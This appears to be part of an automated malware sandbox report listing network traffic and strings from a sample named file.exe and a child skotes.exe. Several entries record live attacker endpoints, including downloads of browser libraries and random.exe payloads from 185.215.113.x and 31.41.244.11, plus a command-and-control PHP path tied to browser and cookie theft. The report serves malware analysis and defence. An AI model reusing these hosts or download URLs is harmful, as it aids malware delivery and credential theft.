Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2610315504.00000000013B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllm
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll3
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllA
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll)
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll_
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2610315504.0000000001355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2610315504.0000000001355000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllL
Source: file.exe, 00000000.00000002.2637623479.0000000023A1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2610315504.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2637623479.0000000023A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php00
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBrowser
Source: file.exe, 00000000.00000002.2610315504.0000000001376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpCookies
Source: file.exe, 00000000.00000002.2610315504.00000000013B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpPO
Source: file.exe, 00000000.00000002.2610315504.0000000001376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpa
Source: file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2610315504.00000000013B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.Verb
Source: file.exe, 00000000.00000002.2637623479.0000000023A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phppuE
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phprograms
Source: file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsk
Source: file.exe, 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206o
Source: skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.3326670265.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpK
Source: skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.phph
Source: skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1
Source: skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31d
Source: skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50
Source: skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384760p
Source: skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384y
Source: skotes.exe, 0000001A.00000002.3326670265.000000000105B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeL0
Source: skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeZ
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2631924089.000000001D8AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2643552208.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 3d536899-b51e-46a2-91a3-3f632dd5548c.tmp.9.dr, 44aa1392-a6ab-4048-b17e-da722fae7716.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 3d536899-b51e-46a2-91a3-3f632dd5548c.tmp.9.dr, 44aa1392-a6ab-4048-b17e-da722fae7716.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
